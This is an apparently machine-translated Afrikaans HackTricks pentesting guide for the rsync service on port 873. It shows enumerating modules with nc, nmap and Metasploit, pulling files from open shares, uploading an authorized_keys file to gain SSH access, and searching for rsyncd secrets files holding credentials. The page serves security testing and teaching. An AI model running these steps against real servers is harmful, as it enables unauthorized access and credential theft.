hacktricks/network-services-pentesting/873-pentesting-rsync.md

# 873 - Pentesting Rsync

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## **Basiese Inligting**

From [wikipedia](https://en.wikipedia.org/wiki/Rsync):

> **rsync** is 'n nut om doeltreffend [oor te dra](https://en.wikipedia.org/wiki/File\_transfer) en [te sinkroniseer](https://en.wikipedia.org/wiki/File\_synchronization) [lêers](https://en.wikipedia.org/wiki/Computer\_file) tussen 'n rekenaar en 'n eksterne hardeskyf en oor [netwerk](https://en.wikipedia.org/wiki/Computer\_network) [rekenaars](https://en.wikipedia.org/wiki/Computer) deur die [wysigings tye](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Dit word algemeen op [Unix-agtige](https://en.wikipedia.org/wiki/Unix-like) [bedryfstelsels](https://en.wikipedia.org/wiki/Operating\_system) aangetref. Die rsync-algoritme is 'n tipe [delta-kodering](https://en.wikipedia.org/wiki/Delta\_encoding), en word gebruik om netwerkgebruik te minimaliseer. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [data-kompressie](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.

**Standaard poort:** 873
```
PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack
```
## Opname

### Banier & Handmatige kommunikasie
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password
```
### **Opname van Gedeelde Mappe**

**Rsync modules** word erken as **gedeelde direkteure** wat moontlik **met wagwoorde beskerm word**. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Wees bewus daarvan dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke **credentials**, aangedui deur 'n **"Access Denied"** boodskap.

### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)

### Handmatige Rsync Gebruik

Na die verkryging van 'n **module lys**, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan **lys** en **kopieer** van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Hierdie proses **herhalend oordra lêers**, terwyl hulle hul eienskappe en toestemmings behou.

Met **akkrediteeringe** kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Om **inhoud op te laai**, soos 'n _**authorized_keys**_ lêer vir toegang, gebruik:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST

Om die rsyncd-konfigurasie-lêer te vind, voer uit:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Within this file, a _secrets file_ parameter might point to a file containing **gebruikernamme en wagwoorde** for rsyncd authentication.


## References
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)

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